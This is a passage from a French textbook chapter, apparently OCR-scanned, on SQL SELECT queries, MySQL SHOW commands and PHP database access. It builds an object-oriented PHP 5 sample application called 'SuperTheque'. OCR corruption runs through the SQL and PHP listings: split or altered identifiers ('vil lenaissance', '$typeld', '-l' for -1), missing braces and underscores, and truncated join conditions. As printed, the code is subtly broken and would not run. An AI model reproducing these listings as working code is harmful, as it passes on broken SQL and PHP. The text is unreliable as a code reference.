AND film2acteur.acteurid; 

Puisque vous semblez avoir compris, nous allons encore augmenter la difficulte. II existe des cas 
ou des tables sont liees plusieurs fois a une autre. C'est le cas notamment si vous souhaitez creer 
un dossier dans lequel sont stockes des noms d'individus, des lieux de naissance et des lieux de 
residence. La, la table contenant les noms de villes sera liee a la table des individus aussi bien 
par l'information lieu de naissance que par le lieu de residence. II faut alors faire intervenir deux 
fois le nom de la table ville, ce qui de prime abord donne "... from individu, ville, ville 
...". Mais dans ce cas, il nous est impossible de distinguer les deux "instances" de la table ville. 
Pour pallier ce probleme, il suffit de faire appel a des alias selon la syntaxe "nomtable as 
autrenom". D'ou la requete : 

SELECT individu, vil lenaissance.vi 1 le, villeresidence. ville 

FROM individu, ville AS vi 1 lenaissance, ville AS villeresidence 
WHERE individu. vil lenaissanceid=vi 1 lenaissance. vil leid 
AND individu. vil leresidenceid=vil leresidence. vil leid; 

Notez que les alias peuvent egalement etre utilises pour manipuler un nom de table plus court : 
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SELECT * FROM unnomdetabletroplong AS t, autretable WHERE t.id=autretable. id; 

Maintenant que nous avons deja bien progresse dans la connaissance de l'instruction select, 
voici d'autres options permettant, entre autres, de trier les donnees. 
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SELECT 



Retourne un ensemble d'enregistrements. 

Syntaxe SELECT [DISTI NCT | ALL] listechamp FROM listetable [WHERE 

condition] [GROUP BY 1 istechampgb] [ORDER BY obchampl 
[DESC|ASC], obchamp2...] 

1 i stechamp Liste des champs a retourner. 

1 i stetabl e Liste des tables impliquees dans la recherche. 

condi ti on Condition que doivent remplir les enregistrements. 

GROUP BY Demande le regroupement des enregistrements. 

1 istechampgb Liste des champs selon lesquels les resultats de la requete doivent etre 

groupes. 

ORDER BY Demande le tri des enregistrements. 

obchampl Premier champ devant servir de champ de tri. 

DESC Effectue un tri decroissant. 

ASC Effectue un tri croissant (ordre de tri par defaut). 

Pour obtenir un resultat trie selon un ou plusieurs champs, il faut done faire appel a 
l'instruction order by. 

Ainsi, 

SELECT film FROM film ORDER BY film; 

retourne la liste complete des films tries par ordre alphabetique ; 

SELECT film FROM film ORDER BY film DESC; 

retourne la liste complete dans l'ordre alphabetique inverse (de Z a A) ; 

SELECT film, acteur FROM film, acteur, film2acteur 

WHERE film.filmid=film2acteur.filmid AND film2acteur.acteurid 
ORDER BY film, acteur; 

retourne la liste complete dans l'ordre alphabetique des films et, pour chaque film, les acteurs 
sont classes par ordre alphabetique ; 

SELECT film, acteur FROM film, acteur, film2acteur 

WHERE film.filmid=film2acteur.filmid AND film2acteur.acteurid 
ORDER BY film DESC, acteur; 
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retourne la liste complete dans 1'ordre alphabetique inverse des films et, pour chaque film, les 
acteurs sont classes par ordre alphabetique. 

Comme nous l'avons evoque precedemment, il est possible d'appliquer des fonctions aux 
champs retournes, mais il est egalement possible de leur appliquer des fonctions d'agregation. 
II s'agit de fonctions s'operant sur un ensemble d'enregistrements comme count ( ) pour 
compter le nombre d'enregistrements retournes, sum ( ) pour calculer la somme des valeurs 
d'un champ, et bien d'autres. 

Ainsi, il est possible de determiner le nombre de films que contient la base de donnees avec 

SELECT COUNT (*) FROM film; 

Mais il est egalement possible d'obtenir le nombre d'acteurs par film. Dans ce cas, il faut 
preciser que Ton souhaite faire le calcul par film avec l'instruction group by : 

SELECT film, COUNT (acteur) FROM film, acteur, film2acteur 

WHERE fi lm.fi lmid=fi lm2acteur.fi Imid AND film2acteur.acteurid 
GROUP BY film; 



Recuperer des informations sur une base 

Les instructions permettant de recuperer des informations sur une base (telles que la liste de 
bases sur le serveur, le nom et la structure des tables) varient fortement d'une base a l'autre. 

MySQL 



SHOW DATABASES 

Retourne la liste des noms des bases sur le serveur de bases de donnees. 

Syntaxe SHOW DATABASES [LIKE nombase] 

LIKE nombase Retourne la liste des bases ayant un nom correspondant a la chaine 

nombase comportant des jokers % ou _. 



SHOW TABLES 

Retourne la liste des tables contenues dans la base. 

Syntaxe SHOW TABLES [FROM nombase] [LIKE nomtable] 

FROM nombase Retourne la liste des tables contenues dans la base nombase. Par defaut, 

ce sont les tables de la base actuellement connectee qui sont retournees. 

LIKE nomtable Retourne la liste des tables ayant un nom correspondant a la chaine 

nomtable comportant des jokers % et _. 
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SHOW COLUMNS 

Retourne la liste des champs contenus dans une table. 

Syntaxe SHOW COLUMNS FROM nomtable [FROM nombase] [LIKE nomchamp] 

nomtabl e Retourne la liste des champs de la table nomtable. 

FROM nombase Utilise la table nomtable de la base nombase. Par defaut, c'est la table de la 

base actuellement connectee qui est utilisee. 

LIKE nomchamp Retourne la liste des champs ayant un nom correspondant a la chaine 

nomchamp comportant des jokers % et _. 



^ 



Describe 

II existe un equivalent a show columns from nomtable qui est describe 



™ QUE nomtable. 



10. 5. Acceder a une base de donnees via PHP 
Introduction 

Dans le cas de l'utilisation d'une base de donnees via PHP, le client (on parle dans ce cas d'API) 
de la base de donnees est integre (principalement via des bibliotheques c) au serveur web. 
Chaque base de donnees ayant son propre client, les noms des fonctions PHP different d'une 
base de donnees a l'autre. C'est pourquoi nous allons, serveur de bases de donnees apres 
serveur de bases de donnees, decrire les fonctions qui leur sont propres. Nous vous invitons 
(apres avoir fini la lecture de ce chapitre) a aller directement aux chapitres correspondant aux 
bases que vous serez amene a utiliser. 



Principe general 



Quoi qu'il en soit, le principe d'utilisation d'une base de donnees avec PHP reste le meme d'une 
base a l'autre. 

La premiere operation consiste a se connecter a la base de donnees. Cette operation se realise 
en precisant 1'adresse du serveur de la base de donnees (incluant eventuellement le port de 
communication), le nom de la base de donnees et, probablement, un nom d'utilisateur et un 
mot de passe. 

Une fois connecte, vous recuperez un identifiant de session (une ressource) valable jusqu'a la 
deconnexion ou la fin d'execution du script en cours. Cet identifiant de session, qui, selon les 
cas, doit etre passe en parametre des fonctions appelees ou est implicitement utilise, vous 
permet alors d'executer des requetes SQL. 

Une fois la requete executee, vous recuperez un identifiant de resultat de requete (une 
ressource). Cet identifiant vous permet d'en lire le contenu (s'il s'agit d'une requete de type 
select), generalement ligne par ligne. 

Une fois toutes ces operations realisees, vous n'avez plus qu'a clore la connexion. 
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Connexion persistante 

Comme vous venez de le decouvrir, vous devrez ouvrir une connexion pour chaque script 
execute. II n'est pas question d'ouvrir une connexion lors de l'execution d'un script et de 
communiquer l'identifiant de connexion (ou meme l'identifiant de resultat) au script suivant 
(afin, par exemple, de lire les resultats de la requete lancee par le premier script). Cela ne 
fonctionnerait pas du tout. 

Meme si ceci n'est pas une grosse contrainte en terme de programmation, cela peut le devenir 
en terme de performance. Si vous etes confronte a un serveur de bases de donnees ayant un 
delai de connexion eleve, vous serez vite penalise. Pour pallier cet eventuel probleme, PHP 
propose d'etablir des connexions persistantes. 

Qu'est-ce qu'une connexion persistante ? Globalement, il s'agit d'une connexion ouvrant une 
session qui pourra etre utilisee par d'autres scripts que celui qui l'a initialised. Cependant, le 
comportement d'une connexion persistante n'est pas exactement celui auquel vous auriez pu 
penser de prime abord. 

En effet, si un utilisateur visite votre site dans lequel un script A ouvre une connexion 
persistante, il serait faux de penser que, necessairement, lorsque l'utilisateur visitera le script B, 
il utilisera le meme identifiant de session. 

Pour bien comprendre cela, il faut revenir sur le principe de fonctionnement d'un serveur web 
(en tout cas, celui du serveur Apache). Un serveur web, ce n'est ni plus ni moins qu'un ensemble 
de processus (par defaut initialement dix sur un serveur Apache, le nombre pouvant augmenter 
suivant la demande) qui attendent qu'on leur demande une page. Ainsi, lorsqu'un utilisateur 
demande a visualiser une page, c'est le premier processus disponible qui s'occupe de repondre 
a la demande de son client. Done, si l'utilisateur demande une page A, qui est en fait un script 
PHP ouvrant une connexion persistante, c'est ce premier processus qui va ouvrir et etre 
detenteur de la session. Lorsque ce meme utilisateur va demander une page B (un autre script 
PHP utilisant une connexion persistante), ce n'est pas necessairement le processus precedent 
(peut-etre est-il occupe avec un autre client) qui va repondre a la demande. Si ce nouveau 
processus n'a pas lui-meme deja eu 1'occasion d'ouvrir une connexion persistante, il devra alors 
en ouvrir une. Dans le cas contraire, il n'aura pas besoin d'ouvrir une nouvelle connexion, mais 
il proposera une session differente de celle qui avait ete ouverte avec le processus precedent. 

Ainsi done, si la connexion est bien persistante au niveau des processus du serveur, elle n'est pas 
pour autant veritablement maintenue tout au long du parcours d'un visiteur, puisqu'elle passe 
d'un visiteur a l'autre. 

II est a noter qu'a l'inverse des connexions classiques, les connexions persistantes ne peuvent 
etre closes. 



REMARQUE 



Le danger des connexions non persistantes 

Les connexions non persistantes sont censees etre automatiquement closes a la fin de 
l'execution d'un script. Mais, visiblement, il ne faut pas trop compter la-dessus. Sans 
que nous puissions veritablement Vaffirmer, il semblerait que cela ne soitpas toujours 
vrai (un bug au niveau du systeme charge de liberer les ressources ?) ou bien, plutot, 
que cela ne soit pas immediat. De la sorte, si, dans un script, vous omettez de clore 
une connexion, le nombre de sessions risque d 'augmenter dramatiquement jusqu 'a ce 
que la base de donnees rejette toute connexion. Nous vous conseillons done de 
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n 'utiliserque des connexions persistantes, au moins dans cette configuration ; alors le 
nombre de connexions reste limite par le nombre de processus du serveur web. 



REMARQUE 
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Couches d'abstraction 

Comme les fonctionnalites proposees d'une base de donnees a l'autre sont assez similaires, des 
efforts sont faits pour creer des fonctions pouvant etre utilisees par le plus grand nombre de 
serveurs de bases de donnees possible. On parle alors de couche d'abstraction. 



ODBC 

A mi-chemin entre les deux, nous trouvons les serveurs de bases de donnees qui utilisent un 
protocole unifie, en l'occurrence ODBC. Pour l'ensemble de ces bases, vous pourrez utiliser les 
memes fonctions (celles qui commencent par odbc). 

10.6. Presentation de l'application d'exemple 

Pour l'ensemble des bases de donnees evoquees dans ce chapitre, la description des fonctions 
offertes par PHP sera completee par deux exemples. Le premier est un compteur de cliques. 
Cet exemple etant tres simple il sera decline dans chaque chapitre. Le second, quant a lui, est 
plus complet, il s'agit en effet d'une application de type bibliotheque/filmotheque/discotheque/ 
phototheque que nous appellerons "supertheque". Dans ce cas, nous vous presenterons ici le 
code commun et nous mettrons a profit les possibilites offertes par la programmation orientee 
objet (que nous vous avons fait decouvrir dans les premiers chapitres de ce livre) pour n'avoir 
par la suite qu'a recrire que quelques classes ou methodes afin de tenir compte de la specificite 
de la base de donnees etudiee. 

Ces exemples ont ete choisis parce qu'ils correspondent a des besoins frequemment rencontres 
dans la conception d'un site web, et qu'ils repondent a certaines problematiques parfois 
soulevees en d'autres circonstances. L'interet de ces scripts va done au-dela de la simple mise en 
oeuvre d'une base de donnees. 

Notre "supertheque" sera constituee d'une collection d'articles (livre, film, musique, etc.) 
regroupes en albums. Cet exemple est tres interessant, car il offre des solutions a de nombreux 
problemes : 

■ Comment afficher N articles par page ? 
Comment modifier l'ordre d'affichage des articles ? 
Comment filtrer les articles ? 

■ Comment creer et gerer un formulaire de saisie ? 
Et bien d'autres points encore... 

Ce sont ces memes problemes que Ton rencontre dans le cas de la creation d'un forum, d'un 
moteur de recherche, d'un site de petites annonces, etc. 
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REMARQUE 



Principe defonctionnement d'un moteur de recherche 

Puisque nous abordons ce sujet, cela vous interesse peut-etre de mieux connaitre le 
principe de fonctionnement d'un moteur de recherche. II y a, en fait, deux parties 
distinctes : I'une (appelee spider) est chargee de collecter les informations (telle une 
araignee sur la toile) et V autre (le moteur de recherche proprement dit) est chargee de 
restituer les informations selon les mots-cles saisis par Vutilisateur. 
Le principe du spider est relativement simple. II s'agit d'un logiciel qui lit le contenu 
d'une page web (quelconque), {'analyse (en extrait principalement le texte hors 
HTML), stocke dans une base de donnees I'URL de la page et le texte associe, puis 
stocke I'URL des pages proposees en lien pour pouvoir les analyser ulterieurement, et 
ainsi de suite. 

La base du moteur de recherche est celle que nous avons utilisee ici. En pratique, les 
moteurs utilisent de savants algorithmes pour afficher les resultats par ordre de 
pertinence (generalement, sont consideres comme pertinents les sites vers lesquels 
pointent de nombreux autres sites). 
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Par defaut, I'application affichera la liste des articles et albums stockes dans la base de donnees. 
Pour des contraintes d'affichage, seul le titre et le type de l'article seront affiches, de plus un 
maximum de 10 articles (valeur parametrable) sera disponible par page. Par consequent, le cas 
echeant un lien sera propose pour acceder a la page de resultats suivante ou precedente. 
L'information detaillee d'un article sera disponible par un lien affiche a cote du resume de 
l'article dans la liste. Par commodite, nous proposerons d'afficher la liste des articles tries par 
titre ou type, au choix soit dans l'ordre croissant soit dans l'ordre decroissant. Nous offrirons 
egalement la possibilite de filtrer les articles par titre et/ou par type. 

Bref, I'application aura Failure suivante: 
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Figure 10.1 : SuperTheque 
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et offrira la possibilite de voir le detail d'un article 
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Figure 10.2: SuperTheque 

II sera bien evidemment possible d'ajouter un article a l'album selectionne ; pour cela 
1'utilisateur aura la possibilite de saisir un titre (obligatoire) et un commentaire et devra 
selectionner le type de l'article comme le montre l'ecran suivant: 
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Figure 10.3 : SuperTheque 
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Certes la presentation est largement perfectible mais dans l'immediat ce sont les 
fonctionnalites qui nous interessent. 

Le modele de donnees 

Le modele de donnees se deduit naturellement de la presentation qui vient d'etre faite de 
I'application. 

L'objet principal est bien entendu l'article. Celui-ci porte au minimum un titre et eventuellement 
un commentaire et est d'un type donne : livre, film, musique, photo, etc. Nous ajouterons un type 
particulier baptise "album" qui aura pour objet de rassembler une collection d'articles. Par 
consequent, chaque article (y compris un album) appartiendra a un album donne. 

L'objet de base sera done l'objet Article dont voici le code: 

Listing 10.1 : Articleclass.php 

<?php 

/** 

* Article. php 

* Objet representant un objet quelconque de la collection. 

* Compatibilite: PHP 5 

7 

class Article 

{ 

// Identifiant unique de l'article 

protected $id; 

// Titre de 1 'article 

protected $titre; 

// Identifiant du type de l'article 

protected $typeld; 

// Identifiant de 1 'album auquel appartient l'article 

protected $albumld; 

// Commentaire sur l'article 

protected $commentaire; 

public function construct($id=-l, $albumld=-l, $titre="", $typeld=-l) 

{ 

$this->setld($id); 

$this->setTitre($titre) ; 

$this->setTypeId($typeId) ; 

$this->setAlbumId($albumId); 
} 

public function getld() 

{ 

return $this->id; 

} 

public function setld($id) 
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$this->id = $id; 

public function getTitre() 
return $this->titre; 

public function setTitre($titre) 
$this->titre = $titre; 

public function getAlbumId() 
return $this->albumld; 

public function setAlbumId($albumld) 
$this->albumld = $albumld; 

public function getTypeId() 
return $this->typeld; 

public function setTypeId($typeId) 
$this->typeld = $typeld; 

public function getCommentaire() 
return $this->commentaire; 

public function setCommentaire($commentaire) 
$this->commentaire = $commentaire; 



} 
?> 

Notre application n'ayant pas pour objectif d'afficher l'ensemble des articles mais seulement 
ceux de l'album selectionne et eventuellement uniquement les articles ayant un titre et/ou un 
type donne, nous utiliserons un filtre materialise par l'objet Filtre suivant: 
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Listing 10.2 : Filtreclass.php 

<?php 

class Filtre 

{ 

private $albumld=-l; 
private $titre; 
private $typeld=-l; 



public function setAlbumId($albumId) 
$this->albumld = $albumld; 

public function getAlbumId() 
return $this->albumld; 

public function setTitre($titre) 
$this->titre = $titre; 

public function getTitre() 
return $this->titre; 

public function setTypeId($typeId) 

if ($typeld == "") $typeld = -1; 
$this->typeld = $typeld; 

public function getTypeId() 
return $this->typeld; 



} 
?> 
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De meme il n'est pas question d'afficher tous les articles repondant aux criteres precedents 
dans une seule et meme page. II faut done en extraire une plage de resultat. A cet effet, nous 
utiliserons la classe Plage suivante: 

Listing 10.3 : Plageclass.php 

<?php 
class Plage 
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private $premierArticle; 
private $nbArticleMax; 

public function setPremierArticle($premierArticle) 

$this->premierArticle = $premierArticle; 

public function getPremierArticle() 
return $this->premierArticle; 

public function setNbArticleMax($nbArticleMax) 
$this->nbArticleMax = $nbArticleMax; 

public function getNbArticleMax() 
return $this->nbArticleMax; 



} 
?> 

Nous utiliserons egalement un objet Tri afin de definir la maniere dont doivent etre tries les 
articles lors de l'affichage. 



Listing 10.4 : Triclass.php 

<?php 
class Tri 



private $champ; 

private $sens; // -1 Decroissant, sans, 1 Croissant 

public function setChamp($champ) 

$this->champ = $champ; 

public function getChamp() 
return $this->champ; 

public function setSens($sens) 
$this->sens = $sens; 
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public function getSens() 
{ 

return $this->sens; 

} 



} 
?> 



Schema de la base de donnees 

En base de donnees, nous utiliserons les tables suivantes: 
Tableau 10.12: Articles 



Champ 


Type 


Commentaire 


id 


Entier auto-incremente 


Identifiant unique de Particle 


albumld 


Entier non null 


Identifiant de I'album (article de type 
album) auquel appartient I'article 


titre 


Chaine de caracteres 


Titre de I'article 


typeld 


Entier non null 


Identifiant du type de I'article (voir table 
types) 


commentaire 


Chaine de caracteres pouvant etre null 
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Tableau 10.13 : Types 



Champ 



Type 



Commentaire 



id 
type 



Entier auto incremente 
Chaine de caracteres 



Identifiant unique du type 
Nom du type 



REMARQUE 



Evitons les conflits 

Si vous souhaitez diffuser vos scripts, vous etes invite a faire preceder les noms des 
tables d'un prefixe librement configurable afin que I'utilisateur puisse eviter tout 
confl.it (simplement en changeant le prefixe) entre les noms des tables de vos scripts et 
ceux d'autres scripts dans le cas oil ils devraient utiliser la meme base. 



Le controleur 

Le cceur de I'application, son moteur, que Ton appelle aussi le controleur, doit permettre de 
gerer les differentes interactions de I'utilisateur. 

Une des premieres operations consiste a lire le fichier de configuration 
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Chapitre 10 L'utilisation des bases de donnees 

Listing 10.5 : index.php (extrait) 

include_once("config/supertheque_cfg.php") ; 
dont voici le maigre contenu 

Listing 10.6 : superthequecfg.php 

<?php 

SnbArticleMax = 10; 

// Decommenter la ligne adequat 
// 

//$ressource = "MySQL"; 

$ressource = "SQLite"; 

//$ressource = "MSSQLServer"; 

//$ressource = "Demo"; 
?> 

Ce fichier permet de preciser combien d'articles seront affiches par page et quelle base de 
donnees (ou d'une maniere generale quelle ressource) sera utilisee. 

Avant de pouvoir commencer le controleur doit connaitre l'etat courant de l'application: a 
savoir quel est l'article qui a ete selectionne? quels sont les criteres de filtrage qui ont ete 
choisis? etc. Pour cela, et par soucis de simplicite, ces differents parametres seront stockes et lus 
en session. 

Pour chacun de ces parametres nous verifions done s'il existe en session (via la fonction 
isset ( ) ) et s'il n'est pas disponible nous initialisons sa valeur avant de le stocker en session. 

Listing 10.7 : index.php (extrait) 

// Lecture des informations stockee en session 
// ou initialisation si necessaire 

// 

if (isset($_SESSI0N["filtre"])) { 

$filtre = $_SESSI0N["filtre"]; 
} else { 

$filtre = new Filtre(); 

$filtre->setAlbumId(0); 

$fil tre->setTitre("") ; 

$filtre->setTypeId(-l); 

$_SESSI0N["filtre"] = $filtre; 
} 
if (isset($_SESSI0N["plage"])) { 

$plage = $_SESSI0N["pl age"] ; 
} else { 

$plage = new Plage(); 

$plage->setPremierArticle(0) ; 

$pl age->setNbArti cl eMax($nbArti cl eMax) ; 

$_SESSI0N["plage"] = $plage; 
} 
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if (isset($_SESSION["tri"])) 

$tri = $_SESSION["tri"]; 
} else { 

$tri = new Tri () ; 

$tri->setChamp("titre") ; 

$tri->setSens(l) ; 

$ SESSION ["tri"] = $tri ; 



Attention, car avant de pouvoir manipuler les variables de session, il faut faire appel a 
session_start ( ) . Plus encore, il est imperatif de declarer les classes utilisees dans les 
variables de session avant cet appel a session_start ( ) . Nous insererons done avant le code 
precedent, le code: 

Listing 10.8 : index.php (extrait) 

i ncl ude_once ( "cl asses/Art i cl e_cl ass . php") ; 

include_once("classes/Filtre_class.php") ; 

include_once("classes/Tri_class.php") ; 

include_once("classes/Plage_class.php") ; 

i ncl ude_once ( "cl asses/SuperTheque_cl ass .php") ; 

include_once("config/supertheque_cfg.php") ; 

i ncl ude_once(" classes/Res source ".$ressource."_cl ass. php") ; 

session_start() ; 

Nous retrouvons ici, le fichier de configuration evoque precedemment ainsi que deux nouveaux 
fichiers de classes que nous verrons plus loin. Notez que le chargement de la derniere classe 
depend du parametre de configuration $ressource. 



Vous pouvez vous reporter aux sections "Les inclusions de fichiers" et "Les sessions" 
pour plus de details. 
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Le controleur travaillera selon le principe que chaque action de l'utilisateur est identifiee par 
un parametre mode. Ce parametre pourra etre passe soit au travers de l'URL appelee avec un 
lien selon le modele <a href="?mode=modeselectionne">, soit au travers d'un formulaire 
avec un champ cache <input type= "hidden" name="mode" value="modeselectionne" 
/>. La lecture de ce mode se fera done ainsi: 

Listing 10.9 : index.php (extrait) 

if (isset($_P0ST["mode"])) { 

$mode = $_P0ST["mode"] ; 
} else if (isset($_GET["mode"])) { 

$mode = $_GET["mode"]; 
} else { 

$mode = "visualisation"; 
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Vous pouvez vous reporter a la sections "Les variables" pour plus de details. 
RENVOI 

Nous avons identifie les actions suivantes: 

article: afin de selectionner un article (ou album) 

tri: afin de trier les articles selon un champ (titre ou type) et un sens donne (croissant, 
decroissant) 

suivants, precedents: afin d'afficher les N articles suivants ou precedents 

filtre: afin de definir un nouveau filtre (base sur un titre ou type) 

visualisation: il s'agit du mode par defaut 

ajout: afin de proposer un formulaire pour l'ajout d'un article 

sauver: afin de sauvegarder les donnees soumises via le formulaire d'ajout d'un article 



Mode = article 

Lorsque nous voudrons proposer a l'utilisateur de selectionner un article (ou album) donne, 
nous n'aurons qu'a inserer un lien du type <a href=" ?mode=article 
&articleid=<articleid>"> (ou a utiliser un champ cache dans le cas d'un formulaire en 
mode post). Le controleur doit alors modifier les criteres de filtrage pour preciser quel est le 
nouvel article (ou album) selectionne. 

Attention, il y a toutefois une subtilite: Si l'utilisateur selectionne un album dans la cinquieme 
page de la liste du contenu de 1'album pere, il faut prendre soin de ne pas selectionner la 
cinquieme page de 1'album fils car celui-ci contient peut-etre moins de cinq pages. II faut done 
revenir a la premiere page de 1'album selectionne. C'est ce qui est fait ici. 

Listing 10.10 : index.php (extrait) 

if ($mode == "article") { 

//- 



// Quel article (ou album) devra etre affiche ? 

//— 

if (isset($_POST["articleId"])) { 
$articleld = $_POST["articleId"] ; 

} else if (isset($_GET["articleId"])) { 
$articleld = $_GET["articleId"] ; 

} else { 

$articleld = 0; 

} 

// Modification des parametres de filtrage 

$album = $supertheque->getArticle($articleId) ; 

$filtre->setAlbumId($articleId); 

$_SESSI0N ["filtre"] = $filtre; 

// Si 1'on passe d'un album a un autre 
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} 



// mieux vaut aller au premier article de 1 'album 
if ($supertheque->isAlbum($album)) { 

$plage->setPremierArticle(0) ; 

$_SESSION["plage"] = $plage; 
} 

// Passage en mode visualisation (avec le nouveau filtre) 
header ("Location: ?mode=visualisation") ; 
die(); 



Mode = tri 

Si l'utilisateur clique sur un lien de la forme "?mode=tri&tri_champ=titre&tri_sens=i" 
alors Taction a declencher consiste uniquement a modifier les parametres de tri (champ sur 
lequel s'applique le tri et sens du tri : -1 si decroissant, si non trie, 1 si croissant) stockes en 
session et retourner a la page principale. 

Listing 10.11 : index.php (extrait) 

if ($mode == "tri") { 

// Modification des parametres de tri 

$tri->setChamp($_GET["tri_champ"]) ; 

$tri->setSens($_GET["tri_sens"]); 

$_SESSION["tri"] = $tri ; 

// Passage en mode visualisation (avec le nouveau tri) 

header ("Location: ?mode=visualisation") ; 

die(); 



Mode = suivants, Mode = precedents 

Si l'utilisateur clique sur un lien de la forme "?mode= suivants" ou "?mode=precedents" 
alors Taction a declencher consiste uniquement a modifier, en session, les parametres 
definissant la plage d'articles (en fait uniquement Tindex du premier article puisque le nombre 
d'articles a afficher fait quant a lui des parametres de configuration du script) a afficher et 
retourner a la page principale. 

Listing 10.12 : index.php (extrait) 

if ($mode == "suivants") { 

// Modification de la plage de selection 

$pl age->setPremi erArti cl e ($pl age->getPremi erArti cl e() + 

$nbArticleMax) ; 
$_SESSION["plage"] = $plage; 
// Passage en mode visualisation 
header ("Location: ?mode=visualisation") ; 
die(); 



if ($mode == "precedents") { 
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// Modification de la plage de selection 
$plage->setPremierArticle($plage->getPremierArticle() - 

$nbArticleMax) ; 
$_SESSION["plage"] = $plage; 
// Passage en mode visualisation 
header ("Location: ?mode=visualisation") ; 
die(); 



Mode = filtre 

Si l'utilisateur clique sur le bouton "filtrer" alors un formulaire est soumis avec 1'attribut cache 
"mode" positionne a la valeur "filtre". II convient alors de modifier les parametres de filtrage 
puis retourner a la page principale. 

Listing 10.13 : index.php (extrait) 

if ($mode == "filtre") { 

// Modification des parametres de filtrage 

$f i 1 tre->setTi tre ($_P0ST["f i 1 tre_ti tre"] ) ; 

$f i 1 tre->setTypeId ($_P0ST ["f i 1 tre_typeld"] ) ; 

$_SESSION["filtre"] = $filtre; 

// Passage en mode visualisation (avec le nouveau filtre) 

header ("Location: ?mode=visualisation") ; 

die(); 



Mode = visualisation 

Par defaut la page principale affiche la liste des articles correspondants aux criteres de selection 
(le filtre), tries selon la regie stockee en session et en limitant l'affichage a la plage d'articles 
selectionnes (elle aussi stockee en session). Pour cela l'application doit acceder a la base de 
donnees ou d'une maniere generale a une ressource quelconque (une zone memoire, un fichier 
par exemple). Cette ressource devra nous permettre de: nous connecter via une methode 
connexion) ), nous deconnecter via une methode deconnexion ( ) , recuperer la liste des 
articles via une methode getArticies ( ), determiner le nombre d'articles repondant aux 
criteres de selection via une methode getNbTotaiAr tides ( ) (pour eventuellement proposer 
un lien "page suivante"), recuperer la liste des types connus via une methode getTypes ( ) (pour 
la selection du filtre). Afin de determiner si un article donne est ou non un album, cette 
ressource devra egalement nous retourner l'identifiant du type "album" via une methode 
getAlbumTypeid ( ) . Et comme nous le verrons bientot, nous aurons besoin d'une methode 
permettant l'ajout d'un article dans la base via la methode addArticie ( ) . 

En quelques mots, nous avons dresse 1'interface de l'objet qui nous permettra d'acceder a une 
ressource quelle qu'elle soit (Un fichier, une base de donnees MySQL, Oracle, etc.). D'ou 
l'objet Ressourcelnterface: 
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Listing 10.14 : Ressourcelnterface_class.php 

<?php 

/** 

* RessouceInterface_class.php 

7 

interface Ressourcelnterface 
{ 

* Retourne 1 ' i denti f i ant de connexion a la base de donnees 

*/ 

public function connexion(); 

/** 

* Demande la deconnexion a la base de donnees 

*/ 
public function deconnexion() ; 

/** 

* Re-cree la structure de la base de donnees 

*/ 
public function reset (); 

/** 

* Ajoute un article en base 

* avec les caracteristiques donnees en parametre. 

* REM: Nous aurions egalement pu (du ?) proposer 

* une interface avec comme parametre un objet Article 

7 

public function addArticle($albumId, 

$titre, 
$typeld, 

$commentaire) ; 

/** 

* Retourne 1 'objet Article correspondant a 1 'article 

* identifie par articleld 

7 

public function getArticle($articleId) ; 

l-k-k 

* Retourne un tableau indexe des articles repondant 

* aux cri teres de filtrage, trie et dont la plage nous interessant 

* a ete extraite 

7 

public function getArticles(Filtre $filtre, Plage $plage, Tri $tri); 

/** 

* Retourne le nombre total d' articles repondant 

* aux cri teres de filtrage 

7 

public function getNbTotalArticles(Fil tre $filtre); 
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Chapitre 10 L'utilisation des bases de donnees 



/** 

* Retourne le tableau associatif des types 

* ou la cle est 1 ' identif iant du type 

* la valeur le nom du type 

7 

public function getTypes(); 

/** 

* Retourne 1 ' identif iant du type associe au type album 

7 

public function getAlbumTypeId() ; 

} 
?> 

En fait, nous n'attaquerons pas la classe Ressource directement puisque nous passerons par 
une classe SuperTheque chargee d'effectuer des tests et traitements complementaires (meme 
si en l'occurrence, ici, nous aurions sans doute pu nous en passer). 

Listing 10.15 : SuperTheque_class.php 

<?php 

/** 

* SuperTheque_class.php 

* Objet permettant d'acceder a la discoTheque, filmoTheque, etc. 

* a priori stockee dans une base de donnees. 

V 

class SuperTheque 

{ 

/** 

* Objet ressource utilise pour acceder aux articles. 

* Ce sera un objet pour recuperer les articles dans 

* une base de donnees mais cela pourrait tout aussi 

* bien etre un objet pour recuperer les articles dans 

* un fichier ou autres.. 

V 

protected $ressource; 

public function construct ($ressource) 

{ 

$this->ressource = $ressource; 
} 

public function reset() 

{ 

$this->ressource->connexion() ; 

$articles = $this->ressource->reset() ; 

$this->ressource->deconnexion() ; 
} 

public function addArticle($albumId, 

$titre, 
$typeld, 
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$commentaire) 

$this->ressource->connexion() ; 

$articles = $this->ressource->addArticle($albumId, 

$titre, 
$typeld, 
$commentaire) 

$this->ressource->deconnexion() ; 



public function getArticle($articleId) 

{ 

// [.'article racine (0) n'est pas un "vrai" article 

// il ne doit pas etre recupere en BD. 

if (($articleld == "") | | ($articleld == 0)) { 

return new Article(0, -1, "", $this->getAlbumTypeId()) : 
} 

$this->ressource->connexion() ; 

$articles = $this->ressource->getArticle($articleId); 

$this->ressource->deconnexion() ; 

return $articles; 



/** 

* Retourne les N articles du type selectionne 

* a partir du I-ieme, lorsqu'ils sont classes 

* dans 1 'ordre precise 

* @param filtre Filtre de selection 

* @param plage Plage des enregistrements a retourner 

* @param tri Regie de tri 

7 

public function getArticles (Filtre $filtre, Plage $plage, Tri $tri) 
{ 

$this->ressource->connexion() ; 

$articles = $this->ressource->getArticles($filtre, $plage, $tri); 

$this->ressource->deconnexion() ; 

return $articles; 

} 

public function getNbTotalArticles(Fil tre $filtre) 
{ 

$this->ressource->connexion() ; 

$articles = $this->ressource->getNbTotalArticles($fil tre) ; 

$this->ressource->deconnexion() ; 

return $articles; 
} 

public function getTypes() 
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Chapitre 10 L'utilisation des bases de donnees 



} 
?> 



$this->ressource->connexion() ; 

$types = $this->ressource->getTypes() ; 

$this->ressource->deconnexion() ; 

return $types; 



public function getAlbumTypeId() 

return $this->ressource->getAlbumTypeId() ; 

public function isAlbum($article) 

if ($article->getTypeId() == $this->getAlbumTypeId()) return TRUE; 
else return FALSE; 



L'objet supertheque sera done instancie comme suit: 

Listing 10.16 : index.php (extrait) 

$supertheque = new SuperTheque(new Ressource()) ; 

Pour preparer l'affichage de la liste des articles d'un album ou du detail d'un article nous 
devons dans un premier temps utiliser cet objet supertheque pour recuperer les donnees 
relatives a Particle (ou album) selectionne. Ce que nous stockerons dans une variable 

$article. 

S'il s'agit d'un album nous devons recuperer l'ensemble des articles que nous stockerons dans 
un tableau $articies. 

Nous verrons, plus loin, qu'il est indispensable de connaitre le nombre total d'articles 
$nbTotaiArticles repondant aux criteres du filtre afin d'afficher ou non un lien permettant 
d'acceder a la page suivante. 

